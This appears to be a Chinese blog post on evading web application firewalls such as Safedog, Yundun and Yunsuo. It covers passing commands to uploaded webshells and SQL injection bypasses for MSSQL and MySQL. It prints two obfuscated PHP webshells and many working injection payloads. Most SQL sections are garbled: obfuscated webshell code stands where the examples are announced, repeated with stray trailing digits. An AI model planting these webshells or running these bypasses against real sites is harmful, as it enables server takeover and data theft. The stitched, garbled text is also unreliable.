文件上传后向webshell传参数:
三重url编码
三重base64编码
cookie传参
参数污染
http://test/xx.jsp?a=xxx很多的垃圾字符xxx&cmd=whoami
cookie传参对应webshell:
<?php$p=$_COOKIE;(count($p)==23&&in_array(gettype($p).count($p),$p))?(($p[59]=$p[59].$p[72])&&($p[91]=$p[59]($p[91]))&&($p=$p[91]($p[90],$p[59]($p[31])))&&$p()):$p;?>
<?php$poc ="axsxsxexrxt";$poc_1 = explode("x", $poc);$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3]. $poc_1[4]. $poc_1[5];$poc_2(urldecode(urldecode(urldecode($_REQUEST[x]))));?>
二. sql注入
1 安全狗
mssql
安全狗对负数不是很敏感,对数学运算后的布尔值也不是敏感。会拦截单引号。
and @@version>~1and (user|1)>-1and (db_name()|1)>.1
如果from后面直接跟字符或者数字,安全狗会拦截。这时候可以使用下面语句来爆表名:
and ~1=(select top 1 name from[sysobjects]);--
使用下面的语句来加上xtype的限制条件,只输出用户创建的表,可以用char或者hex编码绕过:
and ~1=(select top 1 name from[sysobjects] where xtype=0x75);--and ~1=(select top 1 name from[sysobjects] where xtype=0x75 and name not in (CHAR(105)%2BCHAR(110)%2BCHAR(102)%2BCHAR(111),CHAR(97)%2BCHAR(100)%2BCHAR(109)%2BCHAR(105)%2BCHAR(110)));
尝试使用内联注释进行绕过:
?id=1 union/*!1*/select null,name,null from [info]--*/
利用注释加换行,这个很好用
?id=1--/*%0aif (select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5'--%20*/?id=1--/*%0aexec xp_create_subdir 'c:\text'--%20*/
mysql
判断注入
?id='1'|1?id='1'|2?id='1'&2?id='1'&1?id='1'<~1?id=1' and CONCAT(1)-- +?id=1' and CONCAT(0)-- +?id=1' and CONV(1,11,2)-- +?id=1' and CONV(0,11,2)-- +?id=1' and BINARY 1-- +?id=1' and BINARY 0-- +
内联注释绕过,fuzz版本号:
?id=1' union/*!11440select*/ 1,2,3--+ ?id=-1' union/*!11440/**/%0aselect*/ 1,2,3--+
注释加换行,重点就在如何让换行符起作用:
<?php$p=$_COOKIE;(count($p)==23&&in_array(gettype($p).count($p),$p))?(($p[59]=$p[59].$p[72])&&($p[91]=$p[59]($p[91]))&&($p=$p[91]($p[90],$p[59]($p[31])))&&$p()):$p;?>0
参数污染,在php/apache 中 它总解析最后一个id
<?php$p=$_COOKIE;(count($p)==23&&in_array(gettype($p).count($p),$p))?(($p[59]=$p[59].$p[72])&&($p[91]=$p[59]($p[91]))&&($p=$p[91]($p[90],$p[59]($p[31])))&&$p()):$p;?>1
绕过information_schema:
<?php$p=$_COOKIE;(count($p)==23&&in_array(gettype($p).count($p),$p))?(($p[59]=$p[59].$p[72])&&($p[91]=$p[59]($p[91]))&&($p=$p[91]($p[90],$p[59]($p[31])))&&$p()):$p;?>2
时间盲注:
<?php$p=$_COOKIE;(count($p)==23&&in_array(gettype($p).count($p),$p))?(($p[59]=$p[59].$p[72])&&($p[91]=$p[59]($p[91]))&&($p=$p[91]($p[90],$p[59]($p[31])))&&$p()):$p;?>3
布尔盲注
<?php$p=$_COOKIE;(count($p)==23&&in_array(gettype($p).count($p),$p))?(($p[59]=$p[59].$p[72])&&($p[91]=$p[59]($p[91]))&&($p=$p[91]($p[90],$p[59]($p[31])))&&$p()):$p;?>4
<?php$p=$_COOKIE;(count($p)==23&&in_array(gettype($p).count($p),$p))?(($p[59]=$p[59].$p[72])&&($p[91]=$p[59]($p[91]))&&($p=$p[91]($p[90],$p[59]($p[31])))&&$p()):$p;?>5
<?php$p=$_COOKIE;(count($p)==23&&in_array(gettype($p).count($p),$p))?(($p[59]=$p[59].$p[72])&&($p[91]=$p[59]($p[91]))&&($p=$p[91]($p[90],$p[59]($p[31])))&&$p()):$p;?>6
2 云盾
mysql
云盾无法被/**/这种符号bypass,因此内联注释无法使用,但是它对逻辑运算符的符号形式过滤不是特别强。
用&&替代and用||替代or即可,用!代替非逻辑。
<?php$p=$_COOKIE;(count($p)==23&&in_array(gettype($p).count($p),$p))?(($p[59]=$p[59].$p[72])&&($p[91]=$p[59]($p[91]))&&($p=$p[91]($p[90],$p[59]($p[31])))&&$p()):$p;?>7
盲注
<?php$p=$_COOKIE;(count($p)==23&&in_array(gettype($p).count($p),$p))?(($p[59]=$p[59].$p[72])&&($p[91]=$p[59]($p[91]))&&($p=$p[91]($p[90],$p[59]($p[31])))&&$p()):$p;?>8
union
<?php$p=$_COOKIE;(count($p)==23&&in_array(gettype($p).count($p),$p))?(($p[59]=$p[59].$p[72])&&($p[91]=$p[59]($p[91]))&&($p=$p[91]($p[90],$p[59]($p[31])))&&$p()):$p;?>9
报错注入
<?php$poc ="axsxsxexrxt";$poc_1 = explode("x", $poc);$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3]. $poc_1[4]. $poc_1[5];$poc_2(urldecode(urldecode(urldecode($_REQUEST[x]))));?>0
3 云锁
mysql
<?php$poc ="axsxsxexrxt";$poc_1 = explode("x", $poc);$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3]. $poc_1[4]. $poc_1[5];$poc_2(urldecode(urldecode(urldecode($_REQUEST[x]))));?>1
布尔盲注利用注释和换行
<?php$poc ="axsxsxexrxt";$poc_1 = explode("x", $poc);$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3]. $poc_1[4]. $poc_1[5];$poc_2(urldecode(urldecode(urldecode($_REQUEST[x]))));?>2
报错注入
<?php$poc ="axsxsxexrxt";$poc_1 = explode("x", $poc);$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3]. $poc_1[4]. $poc_1[5];$poc_2(urldecode(urldecode(urldecode($_REQUEST[x]))));?>3
fastjson
safeline
<?php$poc ="axsxsxexrxt";$poc_1 = explode("x", $poc);$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3]. $poc_1[4]. $poc_1[5];$poc_2(urldecode(urldecode(urldecode($_REQUEST[x]))));?>4
三. 参考文章
https://y4er.com/post/bypass-mysql-safedog/
https://y4er.com/post/bypass-mysql-yunsuo/
https://github.com/shanfenglan/MYSQL_SQL_BYPASS_WIKI/
https://github.com/shanfenglan/MYSQL_SQL_BYPASS_WIKI/blob/master/2-6-%E6%8B%93%E5%B1%95Bypass%E7%9A%84%E5%B8%B8%E7%94%A8%E6%80%9D%E8%B7%AF.md
<?php$poc ="axsxsxexrxt";$poc_1 = explode("x", $poc);$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3]. $poc_1[4]. $poc_1[5];$poc_2(urldecode(urldecode(urldecode($_REQUEST[x]))));?>5
还没有评论,来说两句吧...